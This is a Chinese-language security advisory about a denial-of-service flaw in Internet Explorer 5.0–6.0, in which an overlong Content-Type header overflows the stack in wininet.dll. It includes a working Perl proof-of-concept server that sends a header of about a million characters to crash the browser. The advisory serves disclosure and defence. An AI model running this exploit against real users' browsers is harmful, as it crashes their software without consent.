安全研究

安全漏洞
Microsoft IE超长Content-Type字段处理拒绝服务漏洞

发布日期:2006-07-20
更新日期:2006-07-21

受影响系统:
Microsoft Internet Explorer 6.0 SP2
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.0
描述:
BUGTRAQ  ID: 19092

Microsoft Internet Explorer是微软发布的非常流行的WEB浏览器。

Microsoft Internet Explorer在处理服务器回应中超长的Content-Type字段时存在漏洞,远程恶意Web服务器可能利用此漏洞导致客户端IE崩溃。

如果用户受骗访问了恶意Web服务器上设置有特制Content-Type属性的WEB页面的话,就可能触发wininet.dll中的栈溢出,导致IE拒绝服务。

<*来源:Firestorm
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
# Stack overflow in wininet.dll while parsing huge( > ~1M) Content-Type response
# ex.: Unhandled exception at 0x771c00ee in IEXPLORE.EXE: 0xC00000FD: Stack overflow.
#
# discovered by Firestorm
#
# Usage:
#      1) run this code
#       2) open http://127.0.0.1/ with IE
#        

use IO::Socket;
my $sock=new IO::Socket::INET (Listen    => 1,
                                 LocalAddr => 'localhost',
                                 LocalPort => 80,
                                 Proto     => 'tcp');
die unless $sock;
$huge="A" x 1100000;
$|=1;
print ">http server started on port 80... try 'iexplore http://127.0.0.1/' \n";
$z=$sock->accept();
print ">connection!\n";
do
{
    $ln=<$z>;
    print $ln;
    chomp $ln;
    
    if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
    {
        print ">sending response\n";
        print $z "HTTP/1.1 200 OK\r\nServer: X3 1.0\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
        close($z);
        exit;
    }
} while (true);

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

浏览次数:3470
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障